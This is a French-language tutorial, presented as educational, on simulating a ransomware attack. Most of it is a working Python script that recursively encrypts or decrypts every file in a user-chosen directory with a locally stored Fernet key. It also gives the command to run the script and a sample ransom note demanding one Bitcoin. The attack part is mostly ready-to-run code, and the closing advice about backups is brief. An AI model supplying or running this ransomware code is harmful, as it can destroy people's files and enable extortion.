Simulation d'une Attaque de Ransomware
Ce tutoriel vous guidera à travers les étapes de simulation d'une attaque de ransomware. Un ransomware est un type de logiciel malveillant qui chiffre les fichiers d'une victime, rendant ces fichiers inaccessibles jusqu'à ce qu'une rançon soit payée.
Introduction
Les attaques de ransomware sont de plus en plus courantes et peuvent causer des dommages importants aux victimes. Ce tutoriel est à des fins éducatives et vise à sensibiliser aux dangers du ransomware et à démontrer comment il fonctionne.
Prérequis
- Ordinateur avec Windows, macOS ou Linux
- Python installé
- Accès à Internet
Étape 1: Création du Script de Ransomware
Nous allons créer un script Python simple qui chiffre les fichiers dans un répertoire donné.
# ransomware.py
import os
from cryptography.fernet import Fernet
def generate_key():
key = Fernet.generate_key()
with open("ransom.key", "wb") as key_file:
key_file.write(key)
def load_key():
return open("ransom.key", "rb").read()
def encrypt_file(file_path, key):
fernet = Fernet(key)
with open(file_path, "rb") as file:
file_data = file.read()
encrypted_data = fernet.encrypt(file_data)
with open(file_path, "wb") as file:
file.write(encrypted_data)
def decrypt_file(file_path, key):
fernet = Fernet(key)
with open(file_path, "rb") as file:
encrypted_data = file.read()
decrypted_data = fernet.decrypt(encrypted_data)
with open(file_path, "wb") as file:
file.write(decrypted_data)
def encrypt_directory(directory, key):
for root, _, files in os.walk(directory):
for file in files:
file_path = os.path.join(root, file)
encrypt_file(file_path, key)
def decrypt_directory(directory, key):
for root, _, files in os.walk(directory):
for file in files:
file_path = os.path.join(root, file)
decrypt_file(file_path, key)
if __name__ == "__main__":
choice = input("Voulez-vous (E)ncrypter ou (D)ecrypter? ")
directory = input("Entrez le chemin du répertoire: ")
if choice.lower() == "e":
generate_key()
key = load_key()
encrypt_directory(directory, key)
print("Les fichiers ont été chiffrés.")
elif choice.lower() == "d":
key = load_key()
decrypt_directory(directory, key)
print("Les fichiers ont été déchiffrés.")
else:
print("Choix invalide.")
Étape 2: Exécution du Script de Ransomware
Pour exécuter le script, utilisez la commande suivante :
python3 ransomware.py
Vous serez invité à choisir entre chiffrer ou déchiffrer, puis à fournir le chemin du répertoire cible.
Étape 3: Simulation de la Demande de Rançon
Dans un scénario réel, les attaquants envoient une note de rançon à la victime. Vous pouvez simuler cela en créant un fichier texte dans le répertoire chiffré.
# ransom_note.txt
Tous vos fichiers ont été chiffrés. Pour les récupérer, envoyez 1 Bitcoin à l'adresse suivante : 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa
Étape 4: Déchiffrement des Fichiers
Si vous choisissez de déchiffrer les fichiers, assurez-vous de conserver la clé de chiffrement générée lors de l'étape de chiffrement. Le déchiffrement fonctionne de la même manière que le chiffrement en utilisant la clé stockée dans "ransom.key".
Conclusion
Ce tutoriel a montré comment simuler une attaque de ransomware. Les attaques de ransomware sont destructrices et coûteuses. Il est essentiel de maintenir des sauvegardes régulières et de mettre en place des mesures de sécurité robustes pour se protéger contre de telles menaces.